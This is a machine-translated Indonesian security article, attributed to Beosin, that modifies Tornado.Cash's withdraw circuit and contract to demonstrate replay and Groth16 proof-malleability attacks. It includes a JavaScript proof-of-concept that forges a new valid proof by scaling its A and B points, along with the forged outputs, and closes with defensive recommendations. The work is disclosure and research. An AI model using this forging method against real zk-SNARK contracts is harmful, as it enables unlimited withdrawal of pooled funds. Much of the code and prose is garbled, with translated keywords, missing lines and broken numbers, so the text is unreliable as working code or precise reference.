Penulis artikel ini: Pakar riset keamanan Beosin Saya & Bryce

Pada artikel sebelumnya, kami menjelaskan kerentanan skalabilitas sistem bukti Groth16 itu sendiri dari sudut pandang prinsip. Pada artikel ini, kami akan mengambil proyek Tornado.Cash sebagai contoh, memodifikasi beberapa sirkuit dan kodenya, dan memperkenalkan serangan skalabilitas. proses dan saya berharap pihak proyek zkp lainnya juga akan memperhatikan tindakan pencegahan yang sesuai dalam proyek tersebut.

Diantaranya, Tornado.Cash dikembangkan menggunakan perpustakaan snarkjs, yang juga didasarkan pada proses pengembangan berikut. Nanti akan diperkenalkan langsung. Jika Anda belum familiar dengan perpustakaan ini, silakan baca artikel pertama di seri ini. (Beosin | Analisis mendalam tentang kerentanan zk-SNARK tanpa pengetahuan: Mengapa sistem tanpa pengetahuan tidak terbukti sangat mudah?)

(Sumber: https://docs.circom.io/) 1 Arsitektur Tornado.Cash

Proses interaksi Tornado.Cash terutama berisi 4 entitas:

Pengguna: Gunakan DApp ini untuk melakukan transaksi pribadi di mixer, termasuk penyetoran dan penarikan. Halaman web: Halaman web front-end DApp, yang berisi beberapa tombol pengguna. Relayer: Untuk mencegah node pada rantai mencatat alamat IP dan informasi lain yang memulai transaksi pribadi, server akan memutar ulang transaksi atas nama pengguna untuk lebih meningkatkan privasi. Kontrak: Berisi kontrak proksi Tornado. Proksi Tunai Kontrak proksi ini akan memilih kumpulan Tornado yang ditunjuk untuk operasi penyetoran dan penarikan berikutnya berdasarkan jumlah setoran dan penarikan pengguna. Saat ini terdapat 4 pool, dengan jumlahnya: 0,1, 1, 10, dan 100.

Pengguna pertama-tama melakukan operasi terkait di halaman web front-end Tornado.Cash untuk memicu transaksi penyetoran atau penarikan. Kemudian Relayer meneruskan permintaan transaksinya ke kontrak Proxy Tornado.Cash di rantai, dan meneruskannya ke Pool yang sesuai sesuai dengan itu. dengan jumlah transaksi. Terakhir, Untuk memproses penyetoran dan penarikan, struktur spesifiknya adalah sebagai berikut:

Sebagai pencampur mata uang, fungsi bisnis spesifik Tornado.Cash dibagi menjadi dua bagian:

Setoran: Saat pengguna melakukan transaksi setoran, pertama-tama ia memilih token yang disimpan (BNB, ETH, dll.) dan jumlah yang sesuai di halaman web front-end. Untuk lebih menjamin privasi pengguna, hanya empat jumlah yang bisa disimpan;

Kemudian server akan menghasilkan dua nomor acak 31-byte dan rahasia. Setelah menggabungkannya dan melakukan operasi pedersenHash, komitmen dapat diperoleh. Pembatal+rahasia ditambah awalan akan dikembalikan ke pengguna sebagai catatan ditunjukkan di bawah ini:

Kemudian transaksi deposit dimulai untuk mengirimkan komitmen dan data lainnya ke kontrak Proxy Tornado.Cash di rantai. Kontrak proxy meneruskan data ke Pool yang sesuai sesuai dengan jumlah deposit simpul daun ke dalam pohon merkle. Dan simpan akar yang dihitung dalam kontrak Pool. penarikan: Saat pengguna melakukan transaksi penarikan, ia terlebih dahulu memasukkan data catatan dan alamat pembayaran yang dikembalikan saat menyetor di halaman web front-end; server akan masuk ke rantai Ambil semua peristiwa setoran Tornadocash, ekstrak komit untuk membangun pohon Merkle di bawah rantai, dan buat komit berdasarkan data catatan (nullifier+rahasia) yang diberikan oleh pengguna dan buat Merkle yang sesuai Jalur dan root yang sesuai, dan gunakan sebagai input sirkuit. Dapatkan bukti SNARK tanpa pengetahuan pada akhirnya, mulai transaksi penarikan ke kontrak Tornado.Cash Proxy di rantai, lalu lompat ke kontrak Pool yang sesuai sesuai dengan parameter untuk memverifikasi; bukti, dan mentransfer uang ke alamat penerima yang ditunjuk oleh pengguna.

Diantaranya, inti dari penarikan Tornado.Cash sebenarnya adalah untuk membuktikan bahwa ada komitmen tertentu di pohon Merkle tanpa mengungkap nullifier dan rahasia yang dimiliki oleh pengguna. Struktur spesifik pohon Merkle adalah sebagai berikut:

2 Tornado.Cash Dimodifikasi Rentan Versi 2.1 Tornado.Cash Dimodifikasi

Mengenai prinsip serangan skalabilitas di artikel pertama Groth16, kita tahu bahwa seorang penyerang sebenarnya dapat menghasilkan beberapa Bukti berbeda menggunakan nullifier dan rahasia yang sama. Kemudian jika pengembang tidak mempertimbangkan serangan pembelanjaan ganda yang disebabkan oleh pemutaran ulang Bukti, itu akan mengancam Pendanaan proyek. Sebelum membuat perubahan ajaib pada Tornado.Cash, artikel ini terlebih dahulu memperkenalkan kode di Pool yang akhirnya menangani penarikan Tornado.Cash:

/** @dev Menarik deposit dari kontrak. `proof` adalah data bukti zkSNARK, dan input adalah array dari sirkuit input publik `input` array terdiri dari: - root merkle dari semua deposit dalam kontrak - hash dari nullifier deposit unik untuk mencegah pembelanjaan ganda - penerima dana - biaya opsional yang masuk ke pengirim transaksi (biasanya relay) */ fungsi penarikan (bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, hutang alamat _penerima, hutang alamat _relayer, uint256 _fee, uint256 _refund ) hutang eksternal nonReentrant { require(_fee @ *= denominasi, "Biaya melebihi nilai transfer"); require(!nullifierHashes[_nullifierHash], "Catatan telah dihabiskan"); require(isKnownRoot(_root), "Tidak dapat menemukan root merkle Anda"); // Pastikan untuk menggunakan yang terbaru require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), "Bukti penarikan tidak valid" ) ;

nullifierHash[_nullifierHash] = benar; _prosesPenarikan(_penerima, _relayer, _biaya, _pengembalian dana); emit Penarikan(_penerima, _nullifierHash, _relayer, _fee); }

Pada gambar di atas, untuk mencegah penyerang menggunakan Proof yang sama untuk melakukan serangan pembelanjaan ganda tanpa mengungkap nullifier dan rahasia, Tornado.Cash menambahkan sinyal publik nullifierHash ke sirkuit, yang diperoleh dengan hashing Pedersen dari nullifier dan can digunakan sebagai parameter. Diteruskan ke rantai, kontrak Pool kemudian menggunakan variabel ini untuk mengidentifikasi apakah Bukti yang benar telah digunakan. Namun jika pihak proyek tidak memodifikasi sirkuit, melainkan langsung mencatat bukti untuk mencegah pembelanjaan ganda, hal ini dapat mengurangi kendala sirkuit dan menghemat biaya, namun dapatkah mencapai tujuan?

Mengenai dugaan ini, artikel ini akan menghapus sinyal publik nullifierHash yang baru ditambahkan di sirkuit dan mengubah verifikasi kontrak menjadi verifikasi Bukti. Karena Tornado.Cash akan memperoleh semua peristiwa setoran untuk membangun pohon merkle setiap kali ditarik, dan kemudian memverifikasi apakah nilai root yang dihasilkan berada dalam 30 nilai root yang terakhir dihasilkan. Seluruh prosesnya terlalu merepotkan, jadi rangkaian dalam artikel ini akan melakukannya hapus juga rangkaian merkleTree. Hanya rangkaian inti bagian penarikan yang tersisa. Rangkaian spesifiknya adalah sebagai berikut:

termasuk "../../../../node_modules/circomlib/sirkuit/bitify.circom"; termasuk "../../../../node_modules/circomlib/sirkuit/pedersen.circom";

// menghitung templat Pedersen(nullifier + secret) CommitmentHasher() { input sinyal nullifier; rahasia masukan sinyal; komitmen keluaran sinyal; // keluaran sinyal nullifierHash; // menghapus

komponen komitmenHasher = Pedersen(496); // komponen nullifierHasher = Pedersen(248); komponen nullifierBits = Num2Bits(248); komponen secretBits = Num2Bits(248);

nullifierBits.in <== nullifier; secretBits.in <== rahasia; untuk (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // hapus komitmenHasher.in[i] <== nullifierBits.out[i]; komitmenHasher.in[i + 248] <== secretBits.out[i]; }

komitmen <== komitmenHasher.out[0]; // nullifierHash <== nullifierHasher.keluar[0]; // menghapus}

// Memverifikasi bahwa komitmen yang sesuai dengan rahasia dan nullifier yang diberikan disertakan dalam pohon merekle dari komitmen keluaran sinyal deposit; penerima masukan sinyal; // tidak mengambil bagian dalam komputasi relay input sinyal apa pun; // tidak mengambil bagian dalam penghitungan biaya masukan sinyal; // tidak mengambil bagian dalam perhitungan pengembalian dana masukan sinyal; // tidak mengambil bagian dalam penghitung input sinyal apa pun; rahasia masukan sinyal; komponen hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.rahasia <== rahasia; komitmen <== hasher.komitmen;

// Tambahkan sinyal tersembunyi untuk memastikan bahwa gangguan pada penerima atau biaya akan membatalkan bukti snark // Kemungkinan besar itu tidak diperlukan, tapi lebih baik tetap aman dan hanya membutuhkan 2 batasan // Kotak digunakan untuk mencegah pengoptimal dari menghilangkan batasan sinyal receiverSquare; biaya sinyalPersegi; pemancar sinyalKotak; sinyal pengembalian danaKotak;

penerimaSquare <== penerima * penerima; feeSquare <== biaya * biaya; relayerSquare <== relayer * relayer; refundSquare <== pengembalian dana * pengembalian dana;

}

komponen main = Tarik(20);

Catatan: Selama percobaan, kami menemukan bahwa dalam versi terbaru kode TornadoCash di GitHub (https://github.com/tornadocash/tornado-core), sirkuit penarikan tidak memiliki sinyal keluaran dan memerlukan koreksi manual agar dapat beroperasi dengan benar.

Berdasarkan rangkaian yang dimodifikasi di atas, gunakan pustaka snarkjs, dll. untuk melanjutkan langkah demi langkah sesuai dengan proses pengembangan yang diberikan di awal artikel ini, dan menghasilkan Bukti normal berikut, dicatat sebagai bukti1:

Buktinya : { pi_a : [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 110295670450333405665483678933040 52946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 78046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [919424846311598694035981198 8096155965376840166464829609545491502209803154186n, 183731390739816966551368706658003939861308764981288870910870600683698115 57306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 1037520490212549 1773178253544576299821079735144068419595539416984653646546215n, 1n ], protokol: 'groth16 ', kurva: 'bn128'}

2.2 Verifikasi eksperimental

2.2.1 Bukti verifikasi — kontrak default yang dihasilkan oleh sircom

Pertama, kami menggunakan kontrak default yang dihasilkan oleh circom untuk verifikasi. Karena kontrak ini tidak mencatat informasi terkait Bukti apa pun yang telah digunakan, penyerang dapat memutar ulang bukti1 beberapa kali untuk menyebabkan serangan pembelanjaan ganda. Dalam percobaan berikut, pembuktiannya dapat diputar ulang dalam waktu yang tidak terbatas untuk masukan yang sama pada rangkaian yang sama, dan semuanya dapat lolos verifikasi.

Gambar di bawah ini adalah screenshot percobaan menggunakan proof1 untuk membuktikan bahwa verifikasi lolos dalam kontrak default, termasuk parameter Bukti A, B, dan C yang digunakan pada artikel sebelumnya, dan hasil akhirnya:

Gambar di bawah ini adalah hasil penggunaan proof1 yang sama untuk memanggil fungsi verifikasiProof beberapa kali untuk verifikasi. Eksperimen menemukan bahwa untuk masukan yang sama, tidak peduli berapa kali penyerang menggunakan proof1 untuk verifikasi, ia dapat lolos:

Tentu saja, ketika kami mengujinya di basis kode js asli snarkjs, kami tidak mengambil tindakan pencegahan terhadap Bukti yang sudah digunakan. Hasil percobaannya adalah sebagai berikut:

2.2.2 Bukti Verifikasi — Kontrak Anti-Pemutaran Ulang Biasa

Mengingat kerentanan replay dalam kontrak default yang dihasilkan oleh circom, artikel ini mencatat nilai dalam Bukti yang benar (proof1) yang telah digunakan untuk mencegah serangan replay menggunakan bukti terverifikasi, seperti yang ditunjukkan pada gambar berikut:

Lanjutkan menggunakan bukti1 untuk verifikasi. Eksperimen menemukan bahwa ketika menggunakan Bukti yang sama untuk verifikasi sekunder, pengembalian transaksi melaporkan kesalahan: "Catatan telah dihabiskan".

Namun, meskipun tujuan untuk mencegah serangan proof replay biasa telah tercapai saat ini, algoritma groth16 memiliki kerentanan terhadap kelenturan seperti yang diperkenalkan sebelumnya, dan tindakan pencegahan ini masih dapat dilewati. Jadi pada gambar di bawah, kami membuat PoC dan membuat sertifikat zk-SNARK palsu untuk input yang sama sesuai dengan algoritma di artikel pertama. Kode PoC untuk menghasilkan bukti palsu2 adalah sebagai berikut:

impor WasmCurve dari "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"impor ZqField dari "/Users/saya/node_modules/ffjavascript/src/f1field.js"impor groth16FullProve dari "/Users/saya/node_modules/snarkjs /src/groth16_fullprove.js"import groth16Verifikasi dari "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * sebagai kurva dari "/Users/saya/node_modules/snarkjs/src/curves.js";import fs dari "fs";import { utils } dari "ffjavascript";const {unstringifyBigInts} = utils;

groth16_exp();fungsi async groth16_exp(){ biarkan inputA = "7"; biarkan masukanB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');

// 2. Baca string dan ubah menjadi int const proof = menunggu unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); ) ;

// Hasilkan elemen invers, elemen invers yang dihasilkan harus berada di kolom F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); ( X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("Skalar waktunya adalah:",F.mul(X,invX))

// 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("Kurvanya adalah:",vKey); const curve = menunggu curves.getCurveFromName(vKey.curve);

const G1 = kurva.G1; const G2 = kurva.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c);

const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B

bukti.pi_a = G1.toObject(G1.toAffine(A)); bukti.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) bukti.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))

// Ubah titik G1 dan G2 yang dihasilkan menjadi bukti console.log("proof.pi_a:",proof.pi_a); :",bukti.new_pi_b)

}

Bukti palsu2 yang dihasilkan adalah seperti yang ditunjukkan pada gambar di bawah ini:

bukti.pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052 946457319632960669053932271922876268005970n, 1n]bukti.pi_a baru: [ 326862454487046110066435161156886636112532269372699001034965749760 9444389527n, 21156099942559593159790898693162006358905276643480284336017680361717954148668n, 1n]bukti.new_pi_b: [ [ 2017004938108461 09831410 010627836387777n], [17019460532187637789507174563951687489832996457696195974253666014392120448346n, 73202111942494604001704 31279189485965933578983661252776040008442689480757963n], [ 1n, 0n ]]

Saat menggunakan parameter ini untuk memanggil fungsi verifikasiProof lagi untuk verifikasi bukti, percobaan menemukan bahwa verifikasi bukti2 diteruskan lagi dengan masukan yang sama, seperti yang ditunjukkan di bawah ini:

Meskipun bukti palsu2 hanya dapat digunakan satu kali, karena jumlah bukti palsu yang hampir tidak terbatas untuk masukan yang sama, hal ini dapat menyebabkan dana kontrak ditarik dalam jumlah yang tidak terbatas.

Artikel ini juga menggunakan kode js dari perpustakaan circom untuk pengujian. Hasil eksperimen proof1 dan proof2 palsu keduanya dapat lolos verifikasi:

2.2.3 Bukti verifikasi — Kontrak pemutaran ulang Tornado.Cash

Setelah begitu banyak kegagalan, bukankah ada cara untuk memperbaikinya untuk selamanya? Mengikuti metode yang digunakan di Tornado.Cash untuk memverifikasi apakah input asli telah digunakan, artikel ini terus mengubah kode kontrak sebagai berikut:

Perlu dicatat bahwa untuk mendemonstrasikan langkah-langkah sederhana untuk mencegah serangan skalabilitas algoritma groth16, artikel ini mengadopsi metode pencatatan langsung input rangkaian asli, namun hal ini tidak sesuai dengan prinsip privasi bukti tanpa pengetahuan, dan input rangkaian harus dirahasiakan. **Misalnya, semua masukan di Tornado.Cash bersifat pribadi, dan Anda perlu menambahkan masukan publik baru untuk menandai Bukti. Karena tidak ada logo baru di sirkuit dalam artikel ini, privasinya lebih buruk daripada Tornado.Cash Ini hanya digunakan sebagai demo eksperimental untuk menunjukkan hasil sebagai berikut:

Terlihat pada gambar di atas, Pembuktian yang menggunakan input yang sama hanya dapat lolos verifikasi bukti1 untuk pertama kalinya, kemudian baik bukti1 maupun bukti2 palsu tidak dapat lolos verifikasi.

3 Ringkasan dan saran

Artikel ini terutama memverifikasi keaslian dan bahaya kerentanan replay dengan memodifikasi sirkuit TornadoCash dan menggunakan kontrak default yang dihasilkan oleh Circom yang biasa digunakan oleh pengembang, dan selanjutnya memverifikasi bahwa tindakan biasa yang digunakan pada tingkat kontrak dapat melindungi terhadap kerentanan replay, tetapi tidak dapat mencegahnya. Serangan kelenturan Groth16. Dalam hal ini, kami merekomendasikan agar proyek tanpa pengetahuan harus memperhatikan hal-hal berikut saat mengembangkan proyek:

Berbeda dari cara DApps tradisional menggunakan data unik seperti alamat untuk menghasilkan data node, proyek zkp biasanya menggunakan kombinasi angka acak untuk menghasilkan node pohon Merkle. Anda perlu memperhatikan apakah logika bisnis mengizinkan penyisipan node dengan node yang sama nilai. Karena data node daun yang sama dapat menyebabkan sejumlah dana pengguna terkunci dalam kontrak, atau mungkin terdapat beberapa Bukti Merkle dalam data node daun yang sama sehingga membingungkan logika bisnis.

Tim proyek zkp biasanya menggunakan pemetaan untuk mencatat Bukti yang digunakan untuk mencegah serangan pembelanjaan ganda. Perlu dicatat bahwa ketika mengembangkan menggunakan Groth16, karena adanya serangan skalabilitas, data asli dari node harus digunakan untuk merekam, bukan hanya identifikasi data terkait Bukti.

Sirkuit yang kompleks mungkin memiliki masalah seperti ketidakpastian sirkuit dan kurangnya batasan, kondisi yang tidak lengkap selama verifikasi kontrak, celah dalam logika implementasi, dll. Kami sangat menyarankan agar pihak proyek mencari perusahaan audit keamanan dengan penelitian tertentu tentang sirkuit dan kontrak ketika proyek diluncurkan . Melakukan audit komprehensif untuk memastikan keamanan proyek semaksimal mungkin.